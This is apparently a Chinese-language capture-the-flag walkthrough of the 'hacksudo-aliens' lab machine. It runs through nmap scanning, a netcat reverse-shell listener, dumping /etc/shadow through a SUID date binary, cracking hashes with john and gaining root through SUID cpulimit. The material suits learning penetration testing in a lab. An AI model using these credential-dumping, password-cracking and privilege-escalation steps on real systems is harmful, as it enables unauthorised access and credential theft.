root at kali in ~/Desktop/hacksudo-aliens $ ip --color address 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host noprefixroute valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 00:0c:29:be:8f:be brd ff:ff:ff:ff:ff:ff inet 10.10.8.21/24 brd 10.10.8.255 scope global dynamic noprefixroute eth0 valid_lft 1321sec preferred_lft 1321sec inet6 fe80::ebaa:6e9f:e411:f446/64 scope link noprefixroute valid_lft forever preferred_lft forever
地址探测
使用 Nmap 扫描出一个 IP:10.10.8.24
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
root at kali in ~/Desktop/hacksudo-aliens $ nmap -sn --min-rate 10000 10.10.8.0/24 -oN nmap_ip.txt Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-12 16:39 CST Nmap scan report for 10.10.8.1 Host is up (0.00018s latency). MAC Address: 00:50:56:C0:00:08 (VMware) Nmap scan report for 10.10.8.2 Host is up (0.000090s latency). MAC Address: 00:50:56:F2:17:CE (VMware) Nmap scan report for 10.10.8.24 Host is up (0.060s latency). MAC Address: 00:0C:29:BF:B0:99 (VMware) Nmap scan report for 10.10.8.254 Host is up (0.00013s latency). MAC Address: 00:50:56:F2:FA:E7 (VMware) Nmap scan report for 10.10.8.21 Host is up. Nmap done: 256 IP addresses (5 hosts up) scanned in 4.68 seconds
端口扫描
扫描开放端口:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
root at kali in ~/Desktop/hacksudo-aliens $ nmap -p- -sC -T4 --min-rate 10000 10.10.8.24 -oN nmap_port.txt Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-12 16:40 CST Nmap scan report for 10.10.8.24 Host is up (0.00056s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh | ssh-hostkey: | 2048 31:d8:56:f4:cf:8b:09:e8:a1:5e:2e:dd:ac:08:6b:dd (RSA) | 256 cd:65:ec:9e:d0:2c:6b:4e:02:40:c3:fd:01:5d:d1:87 (ECDSA) |_ 256 03:00:28:0e:0b:da:12:68:c3:c5:45:ab:bb:92:92:fa (ED25519) 80/tcp open http |_http-title: Hacksudo Alien? 9000/tcp open cslistener MAC Address: 00:0C:29:BF:B0:99 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 3.50 seconds
root at kali in ~/Desktop/hacksudo-aliens $ nmap -p22,80,9000 -sV -O -A -sC -T4 --min-rate 10000 10.10.8.24 -oN nmap_server.txt Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-12 17:02 CST Nmap scan report for 10.10.8.24 Host is up (0.00075s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 31:d8:56:f4:cf:8b:09:e8:a1:5e:2e:dd:ac:08:6b:dd (RSA) | 256 cd:65:ec:9e:d0:2c:6b:4e:02:40:c3:fd:01:5d:d1:87 (ECDSA) |_ 256 03:00:28:0e:0b:da:12:68:c3:c5:45:ab:bb:92:92:fa (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Hacksudo Alien? 9000/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: phpMyAdmin |_http-server-header: Apache/2.4.38 (Debian) | http-robots.txt: 1 disallowed entry |_/ MAC Address: 00:0C:29:BF:B0:99 (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 0.75 ms 10.10.8.24
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 15.33 seconds
漏洞扫描
使用 Nmap 进行漏洞扫描:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
root at kali in ~/Desktop/hacksudo-aliens $ nmap --script=vuln -T4 --min-rate 10000 10.10.8.24 -oN nmap_vuln.txt Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-12 16:40 CST Nmap scan report for 10.10.8.24 Host is up (0.00082s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. | http-enum: | /backup/: Backup folder w/ directory listing |_ /images/: Potentially interesting directory w/ listing on 'apache/2.4.38 (debian)' 9000/tcp open cslistener MAC Address: 00:0C:29:BF:B0:99 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 30.90 seconds
root at kali in ~/Desktop/hacksudo-aliens $ nc -lvvp 4444 listening on [any] 4444 ... 10.10.8.24: inverse host lookup failed: Unknown host connect to [10.10.8.21] from (UNKNOWN) [10.10.8.24] 37756 bash: cannot set terminal process group (672): Inappropriate ioctl for device bash: no job control in this shell www-data@hacksudo:/var/www/html$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@hacksudo:/var/www/html$ date -f /etc/passwd date -f /etc/passwd date: invalid date 'root:x:0:0:root:/root:/bin/bash' date: invalid date 'daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin' date: invalid date 'bin:x:2:2:bin:/bin:/usr/sbin/nologin' date: invalid date 'sys:x:3:3:sys:/dev:/usr/sbin/nologin' date: invalid date 'sync:x:4:65534:sync:/bin:/bin/sync' date: invalid date 'games:x:5:60:games:/usr/games:/usr/sbin/nologin' date: invalid date 'man:x:6:12:man:/var/cache/man:/usr/sbin/nologin' date: invalid date 'lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin' date: invalid date 'mail:x:8:8:mail:/var/mail:/usr/sbin/nologin' date: invalid date 'news:x:9:9:news:/var/spool/news:/usr/sbin/nologin' ......
确实可以,那就去读取 /etc/shadow 文件:
1 2 3 4 5 6 7 8 9
www-data@hacksudo:/var/www/html$ date -f /etc/shadow date -f /etc/shadow date: invalid date 'root:$6$N6p.dpWhPYXSXC9U$8EraUiQ5DtMF5ov2ZbnY8DoLK1liRukqhTnTTK67MQ.tgpglkVX/I9P1aYjNeO/cwjQk9lJ/ABd9YLTMeMSn3/:18721:0:99999:7:::' date: invalid date 'daemon:*:18714:0:99999:7:::' ...... date: invalid date 'hacksudo:$6$cOv4E/VKAe0EVwV4$YScCx10zfi7g4aiLY.qo8QPm2iOogJea41mk2rGk/0JM5AtnrmiyTN5ctNJ0KTLS5Iru4lHWYPug792u3L/Um1:18721:0:99999:7:::' date: invalid date 'systemd-coredump:!!:18714::::::' date: invalid date 'sshd:*:18714:0:99999:7:::' date: invalid date 'mysql:!:18720:0:99999:7:::'
john 爆破
发现了两个具有密码的用户,保存一下:
1 2 3 4 5 6 7
root at kali in ~/Desktop/hacksudo-aliens $ vim root_hash
root at kali in ~/Desktop/hacksudo-aliens $ cat root_hash root:$6$N6p.dpWhPYXSXC9U$8EraUiQ5DtMF5ov2ZbnY8DoLK1liRukqhTnTTK67MQ.tgpglkVX/I9P1aYjNeO/cwjQk9lJ/ABd9YLTMeMSn3/:18721:0:99999:7::: hacksudo:$6$cOv4E/VKAe0EVwV4$YScCx10zfi7g4aiLY.qo8QPm2iOogJea41mk2rGk/0JM5AtnrmiyTN5ctNJ0KTLS5Iru4lHWYPug792u3L/Um1:18721:0:99999:7:::
使用 john 爆破一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
root at kali in ~/Desktop/hacksudo-aliens $ john root_hash Created directory: /root/.john Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256" Use the "--format=HMAC-SHA256" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 2 password hashes with 2 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x]) Cost 1 (iteration count) is 5000 for all loaded hashes Will run 8 OpenMP threads Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status Almost done: Processing the remaining buffered candidate passwords, if any. Proceeding with wordlist:/usr/share/john/password.lst aliens (hacksudo) Proceeding with incremental:ASCII ......
爆破出来其中的一个密码:hacksudo/aliens。
使用 SSH 登录:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
root at kali in ~/Desktop/hacksudo-aliens $ ssh hacksudo@10.10.8.24 hacksudo@10.10.8.24's password: Linux hacksudo 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Dec 12 11:59:59 2023 from 10.10.8.21 hacksudo@hacksudo:~$ id uid=1000(hacksudo) gid=1000(hacksudo) groups=1000(hacksudo),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),112(bluetooth),116(lpadmin),117(scanner)
hacksudo@hacksudo:~$ cd /home/hacksudo/Downloads hacksudo@hacksudo:~/Downloads$ ./cpulimit Error: You must specify a target process CPUlimit version 2.4 Usage: ./cpulimit TARGET [OPTIONS...] [-- PROGRAM] TARGET must be exactly one of these: -p, --pid=N pid of the process -e, --exe=FILE name of the executable program file The -e option only works when cpulimit is run with admin rights. -P, --path=PATH absolute path name of the executable program file OPTIONS -b --background run in background -f --foreground launch target process in foreground and wait for it to exit ......
看着像是一个限制 cpu 的命令,这就没遇到了,使用 GTFOBins 看看:
还真有,直接执行:
1 2 3 4
hacksudo@hacksudo:~/Downloads$ ./cpulimit -l 100 -f -- /bin/bash -p Process 1429 detected bash-5.0# id uid=1000(hacksudo) gid=1000(hacksudo) euid=0(root) egid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),112(bluetooth),116(lpadmin),117(scanner),1000(hacksudo)